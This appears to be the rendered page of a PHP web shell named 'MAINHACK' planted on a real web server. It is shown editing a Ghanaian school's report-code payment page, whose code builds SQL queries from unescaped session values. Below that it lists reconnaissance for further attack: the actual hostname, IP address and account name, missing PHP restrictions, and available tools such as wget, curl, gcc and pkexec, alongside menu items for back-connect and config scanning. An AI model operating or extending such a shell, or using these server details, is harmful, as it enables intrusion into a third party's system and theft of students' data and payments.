[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: buyreportcode.php
<?php // ini_set('display_errors', 1); // ini_set('display_startup_errors', 1); // error_reporting(E_ALL); include("functions.php"); if(!isset($_SESSION['index_no78897498'])){ header("location:index"); } else { $myschoolcode = $_SESSION['myschoolcode']; $schoolID = $_SESSION['student_id0023894']; $selectme = mysqli_query($new," SELECT access_code, codeexpired, student_name, classname, schoolID FROM enrol_details WHERE schoolID = '$schoolID' AND s_code = '$myschoolcode' "); $getpay = mysqli_fetch_array($selectme); $selectme = mysqli_query($new," SELECT access_code, codeexpired, student_name, classname, schoolID FROM enrol_details WHERE schoolID = '$schoolID' AND s_code = '$myschoolcode' "); $getpay = mysqli_fetch_array($selectme); if ($getpay) { $myname = $getpay['student_name']; $classname = $getpay['classname']; $schoolID = $getpay['schoolID']; $access_code = $getpay['access_code']; $codeexpired = $getpay['codeexpired']; $today = date("Y-m-d"); // If no code or expiry at all → go to buy page if (empty($access_code) || empty($codeexpired)) { } // If expired → go to buy page elseif (strtotime($codeexpired) < strtotime($today)) { } else { // Still valid → go to report page header("Location: veiwmyreport.php"); exit(); } } else { // No record at all for this student header("Location: personalrecords"); exit(); } $studentD = mysqli_query($new,"SELECT * FROM enrol_details,class WHERE enrol_details.schoolID = '$schoolID' and enrol_details.class_id = class.cid"); $getinfo = mysqli_fetch_array($studentD); $c_name = $getinfo['class_name']; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Buy Report Code</title> <link rel="stylesheet" type="text/css" href="mybuycoder.css"> <script src="https://js.paystack.co/v1/inline.js"></script> </head> <body> <div class="container"> <h1>Student Details</h1> <p class="cost">Cost of the Code is GHC40.00</p> <p class="warning">Please verify that all details are correct before proceeding with payment. Codes purchased in error are non-refundable.</p> <form method="POST" id="paymentForm"> <div class="form-group"> <label for="fullName">Full Name</label> <input type="text" id="fullName" value="<?php echo $myname;?> [ Class : <?php echo !empty($classname) ? $classname : $c_name; ?>]" readonly> </div> <div class="form-group"> <label for="email">Email Address <span>(You are strongly encouraged to provide your email address for easy access to your Access Code)</span></label> <input type="email" id="email" name="email" placeholder="Enter your email address"> <p class="note">The new Access Code will be sent to this email.</p> </div> <div class="form-group"> <label for="admissionNumber">School ID</label> <input type="text" id="admissionNumber" value="<?php echo $schoolID;?>" readonly> </div> <div class="form-group"> <label for="phone">Phone Number <span>(In case you don't receive your Access Code via SMS promptly, we recommend checking your email)</span></label> <input type="tel" id="phone" name="phone" placeholder="Enter your SMS phone number here"> <p class="note">The new Access Code will be sent to this phone number.</p> </div> <button type="button" onclick="payWithPaystack()">Pay Now</button> </form> </div> </body> </html> <script> function payWithPaystack() { const email = document.getElementById('email').value.replace(/\s+/g, ''); const phone = document.getElementById('phone').value.trim(); if (!email || !phone) { alert('Please enter both email and phone number.'); return; } const amount = 40 * 100; // Convert GHS to pesewas const ref = 'SHS_' + Math.floor(Math.random() * 1000000000 + 1); const handler = PaystackPop.setup({ key: 'pk_test_5bdc5a9fdba93040aa93ec1fd26bf3c9a5eb27f9', // Replace with your actual public key email: email, amount: amount, currency: 'GHS', ref: ref, callback: function(response) { // Redirect and pass email and phone as query parameters window.location.href = 'verifypayment?reference=' + response.reference + '&email=' + encodeURIComponent(email) + '&phone=' + encodeURIComponent(phone); }, onClose: function() { alert('Transaction was not completed, window closed.'); } }); handler.openIframe(); } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.91 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002